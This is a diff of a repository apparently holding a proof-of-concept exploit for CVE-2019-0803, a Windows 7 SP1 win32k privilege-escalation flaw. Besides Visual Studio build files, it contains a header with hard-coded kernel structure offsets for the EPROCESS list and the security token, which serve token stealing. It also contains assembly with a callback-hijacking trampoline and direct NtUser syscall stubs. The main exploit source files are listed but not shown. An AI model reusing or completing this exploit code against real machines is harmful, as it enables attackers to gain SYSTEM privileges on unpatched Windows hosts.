<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="struct.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="DDE.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<CustomBuild Include="x64.asm">
|
||||
<FileType>Document</FileType>
|
||||
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</DeploymentContent>
|
||||
<Command Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm</Command>
|
||||
<Outputs Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">$(IntDir)%(fileName).obj</Outputs>
|
||||
</CustomBuild>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@ -0,0 +1,44 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="struct.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="DDE.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<CustomBuild Include="x64.asm">
|
||||
<Filter>源文件</Filter>
|
||||
</CustomBuild>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
BIN
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.cpp
Normal file
BIN
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.cpp
Normal file
Binary file not shown.
BIN
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.h
Normal file
BIN
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.h
Normal file
Binary file not shown.
154
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/struct.h
Normal file
154
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/struct.h
Normal file
@ -0,0 +1,154 @@
|
||||
#pragma once
|
||||
|
||||
#define DDE_SERVER_APP_NAME L"MyDDEService"
|
||||
#define DDE_SERVER_TOPIC_NAME L"Topic"
|
||||
#define DDE_SERVER_ITEM_NAME L"Item"
|
||||
|
||||
#define DDE_SERVER_WINDOW_CAPTION L"DDEServerPoc"
|
||||
#define DDE_CLIENT_WINDOW_CAPTION L"DDEClientPoc"
|
||||
|
||||
#define MSG_DDESERVER_EXIT WM_USER + 1
|
||||
#define MSG_DDESERVER_SET_GDI_OBJ_ADDR WM_USER + 2
|
||||
|
||||
#define LENGTH_TAGWND 0x128
|
||||
#define OFFSET_SPWNDPARENT_WIN7 0x58
|
||||
#define OFFSET_STRNAME_WIN7 0xD8
|
||||
#define OFFSET_CBWNDEXTRA_WIN7 0xE8
|
||||
#define OFFSET_APCADDR_WIN7 0x50
|
||||
#define OFFSET_APCEPROCESS_WIN7 0x20
|
||||
#define OFFSET_SECTOKEN_WIN7 0x208
|
||||
#define OFFSET_EPROCESSPID_WIN7 0x180
|
||||
#define OFFSET_EPROCESSBLINK_WIN7 0x188
|
||||
|
||||
typedef struct _HANDLEENTRY {
|
||||
PVOID phead;
|
||||
PVOID pOwner;
|
||||
BYTE bType;
|
||||
BYTE bFlags;
|
||||
WORD wUniq;
|
||||
} HANDLEENTRY, * PHANDLEENTRY;
|
||||
|
||||
typedef struct _SERVERINFO {
|
||||
WORD wRIPFlags;
|
||||
WORD wSRVIFlags;
|
||||
WORD wRIPPID;
|
||||
WORD wRIPError;
|
||||
ULONG cHandleEntries;
|
||||
} SERVERINFO, * PSERVERINFO;
|
||||
|
||||
typedef struct _SHAREDINFO {
|
||||
PSERVERINFO psi;
|
||||
PHANDLEENTRY aheList;
|
||||
ULONG HeEntrySize;
|
||||
} SHAREDINFO, * PSHAREDINFO;
|
||||
|
||||
|
||||
typedef struct _LARGE_STRING {
|
||||
ULONG Length;
|
||||
ULONG MaximumLength : 31;
|
||||
ULONG bAnsi : 1;
|
||||
PVOID Buffer;
|
||||
} LARGE_STRING, * PLARGE_STRING;
|
||||
|
||||
typedef struct _PEB
|
||||
{
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
union
|
||||
{
|
||||
BOOLEAN BitField;
|
||||
struct
|
||||
{
|
||||
BOOLEAN ImageUsesLargePages : 1;
|
||||
BOOLEAN IsProtectedProcess : 1;
|
||||
BOOLEAN IsLegacyProcess : 1;
|
||||
BOOLEAN IsImageDynamicallyRelocated : 1;
|
||||
BOOLEAN SkipPatchingUser32Forwarders : 1;
|
||||
BOOLEAN SpareBits : 3;
|
||||
};
|
||||
};
|
||||
HANDLE Mutant;
|
||||
|
||||
PVOID ImageBaseAddress;
|
||||
PVOID Ldr;
|
||||
PVOID ProcessParameters;
|
||||
PVOID SubSystemData;
|
||||
PVOID ProcessHeap;
|
||||
PRTL_CRITICAL_SECTION FastPebLock;
|
||||
PVOID AtlThunkSListPtr;
|
||||
PVOID IFEOKey;
|
||||
union
|
||||
{
|
||||
ULONG CrossProcessFlags;
|
||||
struct
|
||||
{
|
||||
ULONG ProcessInJob : 1;
|
||||
ULONG ProcessInitializing : 1;
|
||||
ULONG ProcessUsingVEH : 1;
|
||||
ULONG ProcessUsingVCH : 1;
|
||||
ULONG ProcessUsingFTH : 1;
|
||||
ULONG ReservedBits0 : 27;
|
||||
};
|
||||
ULONG EnvironmentUpdateCount;
|
||||
};
|
||||
union
|
||||
{
|
||||
PVOID KernelCallbackTable;
|
||||
PVOID UserSharedInfoPtr;
|
||||
};
|
||||
} PEB, * PPEB;
|
||||
|
||||
typedef struct _CLIENT_ID {
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID, * PCLIENT_ID;
|
||||
|
||||
typedef struct _TEB
|
||||
{
|
||||
NT_TIB NtTib;
|
||||
PVOID EnvironmentPointer;
|
||||
CLIENT_ID ClientId;
|
||||
PVOID ActiveRpcHandle;
|
||||
PVOID ThreadLocalStoragePointer;
|
||||
PPEB ProcessEnvironmentBlock;
|
||||
ULONG LastErrorValue;
|
||||
ULONG CountOfOwnedCriticalSections;
|
||||
PVOID CsrClientThread;
|
||||
PVOID Win32ThreadInfo;
|
||||
}TEB, * PTEB;
|
||||
|
||||
typedef
|
||||
PVOID
|
||||
(WINAPI* pfRtlAllocateHeap)(
|
||||
PVOID HeapHandle,
|
||||
ULONG Flags,
|
||||
SIZE_T Size
|
||||
);
|
||||
|
||||
extern "C"
|
||||
HACCEL
|
||||
NtUserCreateAcceleratorTable(
|
||||
LPACCEL Entries,
|
||||
ULONG EntriesCount
|
||||
);
|
||||
|
||||
extern "C"
|
||||
BOOL
|
||||
NtUserShowWindow(
|
||||
IN HWND hwnd,
|
||||
IN int nCmdShow
|
||||
);
|
||||
|
||||
extern "C"
|
||||
HDC
|
||||
NtUserBeginPaint(
|
||||
IN HWND hwnd,
|
||||
OUT LPPAINTSTRUCT lpPaint
|
||||
);
|
||||
|
||||
extern "C"
|
||||
BOOL
|
||||
NtUserDestroyWindow(
|
||||
IN HWND hwnd
|
||||
);
|
||||
BIN
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/targetver.h
Normal file
BIN
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/targetver.h
Normal file
Binary file not shown.
50
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/x64.asm
Normal file
50
CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/x64.asm
Normal file
@ -0,0 +1,50 @@
|
||||
EXTERN g_ClientCopyDDEIn1_ContinueAddr:DQ;
|
||||
EXTERN g_BitMapAddr:DQ;
|
||||
|
||||
.CODE ;; ´úÂë¶Î
|
||||
|
||||
HijackTrampoFunc PROC
|
||||
push r8
|
||||
lea rax,[rsp+50h]
|
||||
mov r8,qword ptr g_BitMapAddr
|
||||
mov qword ptr [rax+30h],r8
|
||||
mov r8,qword ptr [rax+20h]
|
||||
mov byte ptr [r8+2],2
|
||||
pop r8
|
||||
pop rax
|
||||
xor r8d,r8d
|
||||
mov r11d,eax
|
||||
lea rcx,[rsp+20h]
|
||||
lea edx,[r8+18h]
|
||||
jmp qword ptr g_ClientCopyDDEIn1_ContinueAddr
|
||||
HijackTrampoFunc ENDP
|
||||
|
||||
NtUserCreateAcceleratorTable PROC
|
||||
mov r10,rcx
|
||||
mov eax,10F1h
|
||||
syscall
|
||||
ret
|
||||
NtUserCreateAcceleratorTable ENDP
|
||||
|
||||
NtUserShowWindow PROC
|
||||
mov r10,rcx
|
||||
mov eax,1058h
|
||||
syscall
|
||||
ret
|
||||
NtUserShowWindow ENDP
|
||||
|
||||
NtUserBeginPaint PROC
|
||||
mov r10,rcx
|
||||
mov eax,1017h
|
||||
syscall
|
||||
ret
|
||||
NtUserBeginPaint ENDP
|
||||
|
||||
NtUserDestroyWindow PROC
|
||||
mov r10,rcx
|
||||
mov eax,109dh
|
||||
syscall
|
||||
ret
|
||||
NtUserDestroyWindow ENDP
|
||||
|
||||
END
|
||||
BIN
img/46.jpg
Normal file
BIN
img/46.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 12 KiB |
Loading…
x
Reference in New Issue
Block a user